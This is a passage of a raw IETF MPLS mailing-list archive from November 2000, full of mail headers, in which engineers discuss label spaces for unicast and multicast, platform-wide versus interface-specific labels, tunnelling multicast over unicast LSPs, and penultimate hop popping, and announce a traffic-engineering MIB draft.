cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqgh07894 for ; Tue, 21 Nov 2000 10:59:44 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqgh23899 for ; Tue, 21 Nov 2000 10:59:44 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id FAA05554 for mpls@uu.net; Tue, 21 Nov 2000 05:59:43 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqgh20810 for ; Tue, 21 Nov 2000 10:59:06 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqgh19334 for ; Tue, 21 Nov 2000 10:58:45 GMT Received: from coltrane.dataconnection.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: smtp.datcon.co.uk [192.91.191.4] (may be forged)) id QQjqgh09345 for ; Tue, 21 Nov 2000 10:58:44 GMT Received: by smtp.datcon.co.uk with Internet Mail Service (5.5.2650.21) id ; Tue, 21 Nov 2000 10:58:30 -0000 Message-ID: <37701240971DD31193970000F6CCB9F701BCBC5C@duke.datcon.co.uk> From: MPLS To: "'mpls@uu.net'" Subject: test please ignore Date: Tue, 21 Nov 2000 10:58:28 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk From owner-mpls@UU.NET Tue Nov 21 09:59:02 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA14297 for ; Tue, 21 Nov 2000 09:59:02 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqgx23152; Tue, 21 Nov 2000 14:57:15 GMT Received: by mail-control.mail.uu.net id QQjqgx29216 for mpls-outgoing; Tue, 21 Nov 2000 14:56:44 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqgx29200 for ; Tue, 21 Nov 2000 14:56:32 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqgx04336 for ; Tue, 21 Nov 2000 14:54:33 GMT From: seenu@samsung.co.kr Received: from omail01.samsung.co.kr by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: omail01.samsung.co.kr [203.254.197.73]) id QQjqgx07576 for ; Tue, 21 Nov 2000 14:54:32 GMT Received: from localhost (root@localhost) by gp_xman. (8.8.8H1/8.8.8) with ESMTP id XAA20962; Tue, 21 Nov 2000 23:55:39 +0900 (KST) X-OpenMail-Hops: 2 Date: Tue, 21 Nov 2000 23:54:43 +0900 Message-Id: In-Reply-To: Subject: (Reply) Label Space and its Scope.. MIME-Version: 1.0 TO: mpls@UU.NET, sandeep.relan@intel.com Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline; filename="mail.txt" ;Creation-Date="Tue, 21 Nov 2000 23:42:51 +0900" ;Modification-Date="Tue, 21 Nov 2000 23:54:31 +0900" Content-Transfer-Encoding: 8bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 8bit Hi Sandeep, ---> pls see the inline text. Seenu Samsung India Software Operations Level 7, Prestige Meridian - II M.G.Road, Bangalore, India. Tel: +91-80-558 1281 ext: 268 ========================= I have a question on Label Space and its scope. With reference to the following: ------------------------------------------------------------- draft-ietf-mpls-arch-07.txt Page 16: section 3.14 [MPLS-SHIM] specifies that a different label space is used for unicast packets than for multicast packets, and uses a data link layer codepoint to distinguish the two label spaces. ------------------------------------------------------------ Q1. Does it mean that same Label Value (for example: say 0x100) can be used in both MPLS Unicast Packet and MPLS multicast packets ? or The Labels will be different..? ----> Yes, you can have the same label value for both unicast and multicast....using ether type value you can distinguish. And you need check both the Label and the ether type for a decision. But how you do it is implementation dependent...whether your hardware does it....or you need provide some software module for swithcing at L2 ( for existing Ethernet boards). Q2. So, can the LSR have same Label value binding to 2 different types of L3 packet ? ----> I didn't get the question exactly. Diffrent types of L3 packet....????? Thanks in advance for your kind help. - Sandeep From owner-mpls@UU.NET Tue Nov 21 10:18:35 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA18735 for ; Tue, 21 Nov 2000 10:18:34 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqgz10901; Tue, 21 Nov 2000 15:17:01 GMT Received: by mail-control.mail.uu.net id QQjqgz13070 for mpls-outgoing; Tue, 21 Nov 2000 15:16:34 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqgz12997 for ; Tue, 21 Nov 2000 15:16:21 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqgz08090 for ; Tue, 21 Nov 2000 15:15:02 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqgz04886 for ; Tue, 21 Nov 2000 15:15:01 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id KAA25199 for mpls@uu.net; Tue, 21 Nov 2000 10:15:00 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqgy12519 for ; Tue, 21 Nov 2000 15:14:23 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqgy06064 for ; Tue, 21 Nov 2000 15:14:17 GMT Received: from alpo.casc.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: alpo.casc.com [152.148.10.6]) id QQjqgy03837 for ; Tue, 21 Nov 2000 15:14:17 GMT Received: from discard.casc.com (discard [152.148.13.15]) by alpo.casc.com (8.9.1a/8.9.1) with ESMTP id KAA22452 for ; Tue, 21 Nov 2000 10:14:16 -0500 (EST) Received: (from gnair@localhost) by discard.casc.com (8.8.8+Sun/8.8.8) id KAA04144; Tue, 21 Nov 2000 10:14:15 -0500 (EST) Date: Tue, 21 Nov 2000 10:14:15 -0500 (EST) From: Girish Nair X-Sender: gnair@discard To: mpls@UU.NET Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk subscribe From owner-mpls@UU.NET Tue Nov 21 11:05:43 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA29346 for ; Tue, 21 Nov 2000 11:05:43 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqhc25024; Tue, 21 Nov 2000 16:04:07 GMT Received: by mail-control.mail.uu.net id QQjqhc23786 for mpls-outgoing; Tue, 21 Nov 2000 16:03:31 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqhc23187 for ; Tue, 21 Nov 2000 16:03:13 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqhc02215 for ; Tue, 21 Nov 2000 16:02:42 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqhc29851 for ; Tue, 21 Nov 2000 16:02:41 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id LAA01914 for mpls@uu.net; Tue, 21 Nov 2000 11:02:40 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqhc21726 for ; Tue, 21 Nov 2000 16:02:16 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqhc00834 for ; Tue, 21 Nov 2000 16:01:42 GMT Received: from xover.hjinc.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [38.160.241.130]) id QQjqhc12752 for ; Tue, 21 Nov 2000 16:01:42 GMT Received: by xover.hjinc.com with Internet Mail Service (5.5.2650.21) id ; Tue, 21 Nov 2000 10:59:28 -0500 Message-ID: <87009604743AD411B1F600508BA0F959040CCA@xover.hjinc.com> From: "Sanford, Bill" To: "'manis@future.futsoft.com'" Cc: "'mpls@UU.NET'" Subject: RE: Doubt - regarding "global label and space" in rsvp-te draft. Date: Tue, 21 Nov 2000 10:59:26 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk I don't believe that these are the same. It believe platform-wide and interface specific labels has to deal with how the egress node assigns the labels and the global label space is how the ingress node accepts them. I would like to know myself. I am sending this to the MPLS mailing list for clarification. Bill -----Original Message----- From: Manikantan S [mailto:manis@future.futsoft.com] Sent: Tuesday, November 21, 2000 8:52 AM To: bills@netplane.com Cc: manis@kailash.future.futsoft.com Subject: Doubt - regarding "global label and space" in rsvp-te draft. Hello Bill Good day to you. :) I have a doubt and can you please clarify. In the rsvp-te draft, we have mention of "Global label space" and "global label". Are these the same as the "Per platform label space" ie one label space for the entire platform, and "generic label" respectively? I am confused a bit. Thanks in advance with best regards mani From owner-mpls@UU.NET Tue Nov 21 11:51:28 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA09744 for ; Tue, 21 Nov 2000 11:51:27 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqhf23251; Tue, 21 Nov 2000 16:49:50 GMT Received: by mail-control.mail.uu.net id QQjqhf03376 for mpls-outgoing; Tue, 21 Nov 2000 16:49:31 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqhf03367 for ; Tue, 21 Nov 2000 16:49:21 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqhf16007 for ; Tue, 21 Nov 2000 16:47:40 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqhf28081 for ; Tue, 21 Nov 2000 16:47:40 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id LAA08373 for mpls@uu.net; Tue, 21 Nov 2000 11:47:39 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqhf03319 for ; Tue, 21 Nov 2000 16:47:08 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqhf15440 for ; Tue, 21 Nov 2000 16:47:02 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqhf04305 for ; Tue, 21 Nov 2000 16:47:01 GMT Received: from rschmitt-nt (ch2-dhcp134-243.cisco.com [161.44.134.243]) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) with ESMTP id LAA08132; Tue, 21 Nov 2000 11:45:54 -0500 (EST) Message-Id: <4.2.0.58.20001121113742.00d42520@pilgrim.cisco.com> X-Sender: rschmitt@pilgrim.cisco.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Tue, 21 Nov 2000 11:51:18 -0800 To: "Sanford, Bill" From: Rob Schmitt Subject: RE: Doubt - regarding "global label and space" in rsvp-te draft. Cc: "'manis@future.futsoft.com'" , "'mpls@UU.NET'" In-Reply-To: <87009604743AD411B1F600508BA0F959040CCA@xover.hjinc.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-mpls@UU.NET Precedence: bulk Interface-specific labels are those labels whose context is defined by the label on which they are received. This means that labels {1,2,3..} on interface {n} map to certain FECs at the receiving LSR and (possibly) to other FECs when received on interface {m} on the same LSR. Platform-wide' is an equivalent term for 'global'. These labels do not have their context defined by the interface on which they are received. Hence they need to be unique for the LSR that distributes them. /rs At 10:59 AM 11/21/00 -0500, Sanford, Bill wrote: >I don't believe that these are the same. It believe platform-wide and >interface specific labels has to deal with how the egress node assigns the >labels and the global label space is how the ingress node accepts them. I >would like to know myself. I am sending this to the MPLS mailing list for >clarification. > >Bill > >-----Original Message----- >From: Manikantan S [mailto:manis@future.futsoft.com] >Sent: Tuesday, November 21, 2000 8:52 AM >To: bills@netplane.com >Cc: manis@kailash.future.futsoft.com >Subject: Doubt - regarding "global label and space" in rsvp-te draft. > > >Hello Bill > >Good day to you. :) > >I have a doubt and can you please clarify. > >In the rsvp-te draft, we have mention of "Global label space" and "global >label". > >Are these the same as the "Per platform label space" ie one label space for >the entire platform, and "generic label" respectively? > >I am confused a bit. > >Thanks in advance >with best regards >mani +-----------------------------------------------------------------+ Robert Schmitt CISCO SYSTEMS rschmitt@cisco.com Chelmsford, MA 978-244-3076 +----------------------------------------------------------------+ From owner-mpls@UU.NET Tue Nov 21 14:03:09 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA05356 for ; Tue, 21 Nov 2000 14:03:05 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqho13563; Tue, 21 Nov 2000 19:01:10 GMT Received: by mail-control.mail.uu.net id QQjqho11328 for mpls-outgoing; Tue, 21 Nov 2000 19:00:37 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqho11206 for ; Tue, 21 Nov 2000 19:00:33 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqho24340 for ; Tue, 21 Nov 2000 19:00:22 GMT Received: from workhorse.fictitious.org by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: workhorse.fictitious.org [209.66.129.230]) id QQjqho12327 for ; Tue, 21 Nov 2000 19:00:21 GMT Received: from workhorse.fictitious.org (localhost.fictitious.org [127.0.0.1]) by workhorse.fictitious.org (8.9.3/8.9.3) with ESMTP id NAA51691; Tue, 21 Nov 2000 13:56:45 -0500 (EST) (envelope-from curtis@workhorse.fictitious.org) Message-Id: <200011211856.NAA51691@workhorse.fictitious.org> To: Mark Stewart cc: mpls@UU.NET Reply-To: curtis@avici.com Subject: Re: MPLS Label Stack Encoding In-reply-to: Your message of "Mon, 20 Nov 2000 14:55:42 EST." <3A1981BE.4255F05B@nexen.com> Date: Tue, 21 Nov 2000 13:56:45 -0500 From: Curtis Villamizar Sender: owner-mpls@UU.NET Precedence: bulk In message <3A1981BE.4255F05B@nexen.com>, Mark Stewart writes: > > Can a multicast packet be tunneled through a unicast LSP? Because a unicast tunnel has one destination and a multicast tunnel may have replication points and multiple destinations. The shorter answer is the two don't go to the same place and if you stuck them in the same LSP you'd have to look under the label at each IP header to figure out how to forward. Sort of defeats the purpose doesn't it. Curtis From owner-mpls@UU.NET Tue Nov 21 20:49:01 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA13359 for ; Tue, 21 Nov 2000 20:49:01 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqip13195; Wed, 22 Nov 2000 01:47:21 GMT Received: by mail-control.mail.uu.net id QQjqip07386 for mpls-outgoing; Wed, 22 Nov 2000 01:46:38 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqip07374 for ; Wed, 22 Nov 2000 01:46:35 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqip24557 for ; Wed, 22 Nov 2000 01:46:03 GMT Received: from exchsrv1.cosinecom.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail.cosinecom.com [63.88.104.16]) id QQjqip29473 for ; Wed, 22 Nov 2000 01:46:02 GMT Received: by exchsrv1.cosinecom.com with Internet Mail Service (5.5.2650.21) id ; Tue, 21 Nov 2000 17:44:27 -0800 Message-ID: <7EB7C6B62C4FD41196A80090279A291101182155@exchsrv1.cosinecom.com> From: Anoop Ghanwani To: "'Mark Stewart'" Cc: "'mpls@uu.net'" Subject: RE: MPLS Label Stack Encoding Date: Tue, 21 Nov 2000 17:42:57 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C05425.8A458970" Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C05425.8A458970 Content-Type: text/plain; charset="ISO-8859-1" > -----Original Message----- > From: Mark Stewart [mailto:Mstewart@nexen.com] > Sent: Monday, November 20, 2000 11:56 AM > To: mpls@UU.NET > Subject: MPLS Label Stack Encoding > > > Hi All > > "draft-ietf-mpls-label-encaps-08.txt" defines distinct > protocol/ethertype fields for MPLS unicast and MPLS > multicast. I find it > strange to add address space information to the protocol type > field, and > am curious if someone can clarify why this separation of label spaces > was mandated? One of the reasons (not a good one, though :-)) is that it increases the label space. By using different Ethertypes we have twice the number of labels if we use lots of unicast and multicast. The more compelling reason is the following. Unicast labels can be managed on a per-interface basis by the router assigning the labels. OTOH, for multicast case, once a label value has been assigned by a router on a LAN, no other router on that LAN can assign the same label. See Section 2.2.1 of http://www.ietf.org/internet-drafts/draft-farinacci-mpls-multicast-02.txt for more explanation about this problem. If we wanted to use the same Ethertype for both unicast and multicast labels, we would have to worry about some sort of inter-router partitioning of the label space right from the beginning. Now we can punt the issue to the time when MPLS-based multicasting becomes important :-) > Further I am curious as to what constitutes an MPLS multicast > packet in > this case. Does it apply on a specific hop, or must the multicast > property be preserved end to end? > > Can a multicast packet be tunneled through a unicast LSP? I'm not an expert on multicast, but I don't see why not. An MPLS unicast tunnel should be just like any other tunnel. Once you get to the end of the tunnel, the egress router would strip off of the (unicast) label, and do a destination IP address lookup for the multicast packet. -Anoop ------_=_NextPart_001_01C05425.8A458970 Content-Type: text/html; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable RE: MPLS Label Stack Encoding

> -----Original Message-----
> From: Mark Stewart [mailto:Mstewart@nexen.com]=
> Sent: Monday, November 20, 2000 11:56 AM
> To: mpls@UU.NET
> Subject: MPLS Label Stack Encoding
>
>
> Hi All
>
> = "draft-ietf-mpls-label-encaps-08.txt"  defines = distinct
> protocol/ethertype fields for MPLS unicast and = MPLS
> multicast. I find it
> strange to add address space information to the = protocol type
> field, and
> am curious if someone can clarify why this = separation of label spaces
> was mandated?

One of the reasons (not a good one, though :-)) is = that
it increases the label space.  By using = different Ethertypes
we have twice the number of labels if we use lots of = unicast
and multicast.

The more compelling reason is the following.  = Unicast labels can
be managed on a per-interface basis by the router = assigning
the labels.  OTOH, for multicast case, once a = label value has
been assigned by a router on a LAN, no other router = on that
LAN can assign the same label.  See Section = 2.2.1 of
http://www.ietf.org/internet-drafts/draft-farinacci-mp= ls-multicast-02.txt
for more explanation about this problem.  If we = wanted to use
the same Ethertype for both unicast and multicast = labels,
we would have to worry about some sort of = inter-router
partitioning of the label space right from the = beginning.
Now we can punt the issue to the time when = MPLS-based
multicasting becomes important :-) 
 
> Further I am curious as to what constitutes an = MPLS multicast
> packet in
> this case. Does it apply on a specific hop, or = must the multicast
> property be preserved end to end?
>
> Can a multicast packet be tunneled through a = unicast LSP?

I'm not an expert on multicast, but I don't see why = not.
An MPLS unicast tunnel should be just like any other = tunnel.
Once you get to the end of the tunnel, the egress = router would
strip off of the (unicast) label, and do a = destination
IP address lookup for the multicast packet.

-Anoop


------_=_NextPart_001_01C05425.8A458970-- From owner-mpls@UU.NET Tue Nov 21 22:56:03 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA01917 for ; Tue, 21 Nov 2000 22:56:03 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqix17227; Wed, 22 Nov 2000 03:54:29 GMT Received: by mail-control.mail.uu.net id QQjqix13751 for mpls-outgoing; Wed, 22 Nov 2000 03:53:57 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqix13737 for ; Wed, 22 Nov 2000 03:53:45 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqix18942 for ; Wed, 22 Nov 2000 03:52:48 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqix09640 for ; Wed, 22 Nov 2000 03:52:42 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id WAA16273 for mpls@uu.net; Tue, 21 Nov 2000 22:52:41 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqix13628 for ; Wed, 22 Nov 2000 03:52:06 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqix18413 for ; Wed, 22 Nov 2000 03:51:38 GMT Received: from tnnt3.tachion.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [198.139.117.130]) id QQjqix23894 for ; Wed, 22 Nov 2000 03:51:38 GMT Received: by TNNT3 with Internet Mail Service (5.5.2650.21) id ; Tue, 21 Nov 2000 22:57:07 -0500 Message-ID: From: Cheenu Srinivasan To: "'mpls@uu.net'" Subject: draft-ietf-mpls-te-mib-05.txt posted Date: Tue, 21 Nov 2000 22:57:00 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C05438.487492F8" Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C05438.487492F8 Content-Type: text/plain; charset="iso-8859-1" FYI - draft-ietf-mpls-te-mib-05.txt has been posted and should be available shortly on the IETF's MPLS WG website shortly. Title : MPLS Traffic Engineering Management Information Base Using SMIv2 Author(s): Cheenu Srinivasan, Arun Viswanathan, Thomas D. Nadeau Filename : draft-ietf-mpls-te-mib-05.txt Pages : 58 Date : 21-Nov-2000 ------_=_NextPart_001_01C05438.487492F8 Content-Type: text/html; charset="iso-8859-1" draft-ietf-mpls-te-mib-05.txt posted

FYI - draft-ietf-mpls-te-mib-05.txt has been posted and should be
available shortly on the IETF's MPLS WG website shortly.

Title    : MPLS Traffic Engineering Management Information Base
           Using SMIv2
Author(s): Cheenu Srinivasan, Arun Viswanathan, Thomas D. Nadeau
Filename : draft-ietf-mpls-te-mib-05.txt
Pages    : 58
Date     : 21-Nov-2000

------_=_NextPart_001_01C05438.487492F8-- From owner-mpls@UU.NET Wed Nov 22 04:04:08 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA06264 for ; Wed, 22 Nov 2000 04:04:08 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqjs22066; Wed, 22 Nov 2000 09:02:19 GMT Received: by mail-control.mail.uu.net id QQjqjs17823 for mpls-outgoing; Wed, 22 Nov 2000 09:01:59 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqjs17785 for ; Wed, 22 Nov 2000 09:01:56 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqjs23904 for ; Wed, 22 Nov 2000 09:01:17 GMT From: neil.2.harrison@bt.com Received: from marvin.axion.bt.co.uk by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: marvin.axion.bt.co.uk [132.146.16.82]) id QQjqjs14134 for ; Wed, 22 Nov 2000 09:01:17 GMT Received: from cryndent01.mww.bt.com by marvin (local) with ESMTP; Wed, 22 Nov 2000 09:00:47 +0000 Received: by cryndent01.mww.bt.com with Internet Mail Service (5.5.2652.35) id ; Wed, 22 Nov 2000 09:00:33 -0000 Message-ID: To: erosen@cisco.com, ksheth@riverdelta.com Cc: esaheb@hyperchip.com, mpls@UU.NET Subject: RE: multiple lookups per packet Date: Wed, 22 Nov 2000 09:00:37 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk Eric Rosen wrote: > Php was invented precisely to ensure > that you don't end up with a bunch of "sorry, look below" labels when > you > get to the egress. > > You don't need to lose QoS information with php, since the QoS can > be > propagated downward when a label is popped. As Curtis points out, there > is > some impact on your ability to keep per-LSP counts, and if there were > any > OAM capability that might be impacted as well. NH=>PHP seems a very crude tool that does not appear to have been thought out in arch terms. I know many attending IETF don't have a high regard for ITU work (which I think is a pity, since they lose out in learning something) but for those with open minds I would suggest a look a G.805 (functional arch) will prove useful. This describes, in particular, trails and client/server (network layer) recursion. All the important server<=>client adaptation functions are performed just after the server layer trail termination point......so this would include functionality like connectivity verifcation, defect detection, defect consequent actions (eg foward/backward defect information), prot-sw, performance registers (if used), etc.......so yes Curtis is right, making the trail term point a movable feast does cause a problem for OAM (and the way I read the 'special labels', one key aspect is to convey the Exp information which would otherwise be lost with PHP......another example that PHP breaks basic arch principles). > The issues inherent in the handling of nested tunnels are not > particularly > MPLS-specific, any tunneling technology which allows nested tunnels has > the > same issues. NH=> Absolutley right. As I said above, for those who wish to learn please have a look at G.805. One consequence of this, is that *each* LSPs is a layer network and that client/server relationships exist when LSP are nested. From owner-mpls@UU.NET Wed Nov 22 04:44:10 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA10718 for ; Wed, 22 Nov 2000 04:44:10 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqju07662; Wed, 22 Nov 2000 09:42:34 GMT Received: by mail-control.mail.uu.net id QQjqju28431 for mpls-outgoing; Wed, 22 Nov 2000 09:42:01 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqju28413 for ; Wed, 22 Nov 2000 09:41:42 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net 